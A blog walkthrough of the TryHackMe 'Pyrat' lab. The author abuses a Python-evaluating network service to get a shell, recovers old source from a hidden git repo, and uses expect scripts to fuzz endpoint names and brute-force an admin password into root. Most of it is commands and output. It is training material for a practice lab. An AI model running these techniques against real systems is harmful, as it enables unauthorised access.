Home

TryHackMe Challenge - Pyrat

I found TryHackMe a while ago, a site to teach people about cyber security. I had started going through their learning section, but I had some trouble staying focused. Recently I visited their challenge section, which was easier to focus on. This is a walkthrough of the Pyrat challenge, with a few simplifications.

Summary of the challenge from TryHackMe:

Pyrat receives a curious response from an server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.

The first thing I did after starting the machine was use nmap:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
debian@attackbox:~$ nmap 10.112.138.83
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-19 21:33 UTC
Nmap scan report for 10.112.138.83
Host is up (0.012s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds

There’s ssh and one weird port. I tried accessing this from HTTP, since nmap claims it is. This returned a response:

1
2
debian@attackbox:~$ curl http://10.112.138.83:8000
Try a more basic connectiondebian@attackbox:~$

Okay, so we use netcat or telnet to access the connection at a lower level.

1
2
3
4
5
6
debian@attackbox:~$ curl http://10.112.138.83:8000
Try a more basic connectiondebian@attackbox:~$ nc 10.112.138.83 8000
oaesuth
name 'oaesuth' is not defined
etuh
name 'etuh' is not defined

The challenge summary says we can use a “carefully crafted payload”, so I checked to see if we can execute Python here:

1
2
3
4
hi   
name 'hi' is not defined
print('hi')
hi

Seems it could be the case. Now I poke around the Python environment:

1
2
print(globals())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fb73876d4c0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/root/pyrat.py', '__cached__': None, 'socket': <module 'socket' from '/usr/lib/python3.8/socket.py'>, 'sys': <module 'sys' (built-in)>, 'StringIO': <class '_io.StringIO'>, 'datetime': <module 'datetime' from '/usr/lib/python3.8/datetime.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'multiprocessing': <module 'multiprocessing' from '/usr/lib/python3.8/multiprocessing/__init__.py'>, 'manager': <multiprocessing.managers.SyncManager object at 0x7fb7386cd640>, 'admins': <ListProxy object, typeid 'list' at 0x7fb7386419a0>, 'handle_client': <function handle_client at 0x7fb7380188b0>, 'switch_case': <function switch_case at 0x7fb738018e50>, 'exec_python': <function exec_python at 0x7fb738018ee0>, 'get_admin': <function get_admin at 0x7fb738018f70>, 'shell': <function shell at 0x7fb73801f040>, 'send_data': <function send_data at 0x7fb73801f0d0>, 'start_server': <function start_server at 0x7fb73801f160>, 'remove_socket': <function remove_socket at 0x7fb73801f1f0>, 'is_http': <function is_http at 0x7fb73801f280>, 'fake_http': <function fake_http at 0x7fb73801f310>, 'change_uid': <function change_uid at 0x7fb73801f3a0>, 'host': '0.0.0.0', 'port': 8000, '__warningregistry__': {'version': 0}}

I tried calling some random functions here, eventually landing on the shell function:

1
2
shell()
shell() missing 1 required positional argument: 'client_socket'

We need to pass client_socket here. We check if we have a variable like that in the call scope:

1
2
print(dir())
['captured_output', 'client_socket', 'data']

We do. If you think think is slightly more convoluted than running a scan for valid names in the application, you’d be correct. You could have simply scanned for the shell endpoint by itself using a wordlist. I won’t cover that because it’s not how I solved it. There are other guides that cover this already. Scanning for endpoints would also have saved me some trouble in later stages.

You could also something like print(os.popen("ls /").read()), and I was doing this before I found shell(client_socket)

I call the shell with the client_socket argument:

1
2
shell(client_socket)
$ 

We have a shell now. I spent some time looking around. I tried to figure out where the main program was running by going back to the Python interpreter. You’d need to reconnect with nc to get this:

1
2
3
debian@attackbox:~$ nc 10.112.138.83 8000
print(__file__)
/root/pyrat.py

Naturally I tried to read out the file. I tried this a few different ways:

1
2
3
4
5
6
7
print(open('/root/pyrat.py', 'r').read())
[Errno 13] Permission denied: '/root/pyrat.py'
shell(client_socket)
$ cat /root/pyrat.py
cat /root/pyrat.py
cat: /root/pyrat.py: Permission denied
$

The shell is running as a unprivileged user, so we can’t see our own source code, which is in a root-owned file. This also prevents methods like this one from working:

1
2
import inspect ; inspect.getsource(shell)
could not get source code

I got a bit stuck here. I wasn’t sure where I was supposed to be looking in the filesystem. After some cheating, I found /opt/dev

1
2
3
4
5
6
7
$ ls -lha /opt/dev
ls -lha /opt/dev
total 12K
drwxrwxr-x 3 think think 4.0K Jun 21  2023 .
drwxr-xr-x 3 root  root  4.0K Jun 21  2023 ..
drwxrwxr-x 8 think think 4.0K Jun 21  2023 .git
$

/opt/dev will appear to be empty unless you use the -a option with ls. We can see that it’s a git repository. We try to look at the log.

1
2
3
4
5
6
7
 git log
git log
fatal: detected dubious ownership in repository at '/opt/dev'
To add an exception for this directory, call:

        git config --global --add safe.directory /opt/dev
$ 

git isn’t happy here because we don’t own the repo. We can solve this by copying somewhere else.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ cp -r /opt/dev /tmp
cp -r /opt/dev /tmp
$ cd /tmp
cd /tmp/dev
$ git log
git log
WARNING: terminal is not fully functional
-  (press RETURN)
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint
$

There’s one commit. We try to reset the working directory:

1
2
3
4
$ git reset --hard
git reset --hard
warning: unable to access '/root/.config/git/attributes': Permission denied
HEAD is now at 0a3c36d Added shell endpoint

Now a file appears:

1
2
3
 ls
ls
pyrat.py.old
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................

We can see that if we are executing a shell command the user gets changed.

I wasn’t really sure what to do at this point. I should have written a script to scan for different endpoints. I would have written an expect script to test different endpoint names from a dictionary:

1
2
3
4
5
debian@attackbox:~$ curl -L https://raw.githubusercontent.com/chrislockard/api_wordlist/refs/heads/master/actions-lowercase.txt > actions-lowercase.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   901  100   901    0     0  22630      0 --:--:-- --:--:-- --:--:-- 23102
debian@attackbox:~$ cat trypass.tcl
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
set actions [open "actions-lowercase.txt" r]
set action [gets $actions]

spawn telnet 10.112.133.180 8000
while {[string length $action] != 0 } {
        send "$action\n"
        expect "is not defined"

        set action [gets $actions ]
}

The script will freeze for a few seconds when it finds something, because expect "is not defined" won’t match anything and time out.

There are probably other tools which can do this with less code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
debian@attackbox:~$ expect trypass.tcl
spawn telnet 10.112.133.180 8000
Trying 10.112.133.180...
accelerate
Connected to 10.112.133.180.
Escape character is '^]'.
name 'accelerate' is not defined
acquire
name 'acquire' is not defined
activate
name 'activate' is not defined
adapt
name 'adapt' is not defined
add
name 'add' is not defined
adjust
name 'adjust' is not defined
admin
Start a fresh client to begin.
[...]
def
invalid syntax (<string>, line 1)
define
name 'define' is not defined
del
invalid syntax (<string>, line 1)
[...]

The failures on certain keywords would’ve also given a clue about being able to run Python directly here.

We can see that there’s an admin command. It says to start a fresh client, so we try that.

1
2
3
debian@attackbox:~$ nc 10.112.133.180 8000
admin
Password:

It asks for a password. We try scanning with a wordlist again:

1
2
3
4
5
debian@attackbox:~$ curl -L https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt > passwords-100k.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  815k  100  815k    0     0  3016k      0 --:--:-- --:--:-- --:--:-- 3022k
debian@attackbox:~$ cat trypass.tcl
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
debian@attackbox:~$ cat trypass.tcl 
set actions [open "passwords-100k.txt" r]
set action [gets $actions]

while {[string length $action] != 0 } {
        spawn telnet 10.112.133.180 8000
        send "admin\n"
        expect "Password:"
        send "$action\n"
        expect "Password:"

        set action [gets $actions ]
}

This expect script connects to the server and tries one password, then waits for the Password: prompt to appear again. This means we failed. If we fail, then it will try another password. If we succeed, it will pause for a few seconds.

Running it we get:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
debian@attackbox:~$ expect trypass.tcl 
spawn telnet 10.112.133.180 8000
Trying 10.112.133.180...
admin
Connected to 10.112.133.180.
Escape character is '^]'.
Password:
123456
Password:
spawn telnet 10.112.133.180 8000
admin
Trying 10.112.133.180...
Connected to 10.112.133.180.
Escape character is '^]'.
Password:
123456789
Password:
spawn telnet 10.112.133.180 8000
Trying 10.112.133.180...
admin
Connected to 10.112.133.180.
Escape character is '^]'.
Password:
qwerty
Password:
spawn telnet 10.112.133.180 8000
admin
Trying 10.112.133.180...
Connected to 10.112.133.180.
Escape character is '^]'.
Password:
password
Password:
spawn telnet 10.112.133.180 8000
admin
Trying 10.112.133.180...
Connected to 10.112.133.180.
Escape character is '^]'.
Password:
111111
Password:
spawn telnet 10.112.133.180 8000
admin
Trying 10.112.133.180...
Connected to 10.112.133.180.
Escape character is '^]'.
Password:
12345678
Password:
spawn telnet 10.112.133.180 8000
Trying 10.112.133.180...
admin
Connected to 10.112.133.180.
Escape character is '^]'.
Password:
<Redacted>
Welcome Admin!!! Type "shell" to begin
[...]

Now that we’ve found the admin password we try using the shell:

1
2
3
4
5
6
7
debian@attackbox:~nc 10.112.133.180 8000
admin
Password:
abc123
Welcome Admin!!! Type "shell" to begin
shell
# 

We have root now. We can look at the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
cat /root/pyrat.py
[...]
def switch_case(client_socket, data):
    if data == 'admin':
        get_admin(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0) and (str(client_socket) not in admins):
            change_uid()
        if data == 'shell':
            shell(client_socket)
            remove_socket(client_socket)
        else:
            exec_python(client_socket, data)
[...]
# Handles the Admin endpoint
def get_admin(client_socket):
    global admins

    uid = os.getuid()
    if (uid != 0):
        send_data(client_socket, "Start a fresh client to begin.")
        return

    password = <redacted>

    for i in range(0, 3):
        # Ask for Password
        send_data(client_socket, "Password:")

        # Receive data from the client
        try:
            data = client_socket.recv(1024).decode("utf-8")
        except Exception as e:
            # Send the exception message back to the client
            send_data(client_socket, e)
            pass
        finally:
            # Reset stdout to the default
            sys.stdout = sys.__stdout__

        if data.strip() == password:
            admins.append(str(client_socket))
            send_data(client_socket, 'Welcome Admin!!! Type "shell" to begin')
            break
[...]

The program is kind of a security mess.

We’re supposed to capture the user and root flags. We’ll check in root first:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cd /root
# ls -lha
ls -lha
total 68K
drwxrwx---  7 root root 4.0K Apr 15  2024 .
drwxr-xr-x 18 root root 4.0K Mar 19 23:46 ..
lrwxrwxrwx  1 root root    9 Jun  2  2023 .bash_history -> /dev/null
-rwxrwx---  1 root root 3.2K Jun 21  2023 .bashrc
drwx------  2 root root 4.0K Jun 21  2023 .cache
drwx------  3 root root 4.0K Dec 22  2023 .config
-rw-r--r--  1 root root   29 Jun 21  2023 .gitconfig
drwxr-xr-x  3 root root 4.0K Jan  4  2024 .local
-rwxrwx---  1 root root  161 Dec  5  2019 .profile
-rwxr-xr-x  1 root root 5.3K Apr 15  2024 pyrat.py
-rw-r-----  1 root root   33 Jun 15  2023 root.txt
-rw-r--r--  1 root root   75 Jun 15  2023 .selected_editor
drwxrwx---  3 root root 4.0K Jun  2  2023 snap
drwx------  2 root root 4.0K Jun  2  2023 .ssh
-rw-rw-rw-  1 root root  11K Apr 15  2024 .viminfo
# cat root.txt
cat root.txt
<redacted>
#

Then we need the user flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# cd /home
cd /home
# ls -lha
ls -lha
total 16K
drwxr-xr-x  4 root   root   4.0K Mar 19 23:46 .
drwxr-xr-x 18 root   root   4.0K Mar 19 23:46 ..
drwxr-x---  5 think  think  4.0K Jun 21  2023 think
drwxr-xr-x  3 ubuntu ubuntu 4.0K Mar 19 23:46 ubuntu
# cd think
cd think
# ls -lha
ls -lha
total 40K
drwxr-x--- 5 think think 4.0K Jun 21  2023 .
drwxr-xr-x 4 root  root  4.0K Mar 19 23:46 ..
lrwxrwxrwx 1 root  root     9 Jun 15  2023 .bash_history -> /dev/null
-rwxr-x--- 1 think think  220 Jun  2  2023 .bash_logout
-rwxr-x--- 1 think think 3.7K Jun  2  2023 .bashrc
drwxr-x--- 2 think think 4.0K Jun  2  2023 .cache
-rwxr-x--- 1 think think   25 Jun 21  2023 .gitconfig
drwx------ 3 think think 4.0K Jun 21  2023 .gnupg
-rwxr-x--- 1 think think  807 Jun  2  2023 .profile
drwx------ 3 think think 4.0K Jun 21  2023 snap
-rw-r--r-- 1 root  think   33 Jun 15  2023 user.txt
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -> /dev/null
# cat user.txt
cat user.txt
<redacted>

That’s it. We’re done. I felt this was a bit contrived but it was interesting to poke at.